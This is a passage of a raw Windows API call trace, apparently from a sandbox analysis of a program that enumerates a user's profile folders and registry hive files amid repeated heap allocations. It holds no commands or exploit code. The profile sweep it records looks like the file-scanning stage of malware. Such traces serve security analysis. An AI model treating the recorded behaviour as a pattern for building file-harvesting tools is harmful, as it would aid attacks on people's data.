(HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0066.633] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e1b0 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d918 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0066.634] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0066.634] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d918 | out: hHeap=0x5d0000) returned 1 [0066.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.634] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb88 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e208 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d708 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327dc68 | out: hHeap=0x5d0000) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.635] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96777bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96777bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.635] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0066.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0066.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0066.636] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96966da0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96966da0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x214) returned 0x329f158 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x32553c8 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3255420 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3255478 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d000 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x32554d0 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d068 [0066.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3255528 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb88 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d918 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e1b0 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30fb448 | out: hHeap=0x5d0000) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.637] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0066.637] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.637] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0066.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0066.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0066.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e208 [0066.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0066.638] HeapFree (in: hHeap=0x5d0000, 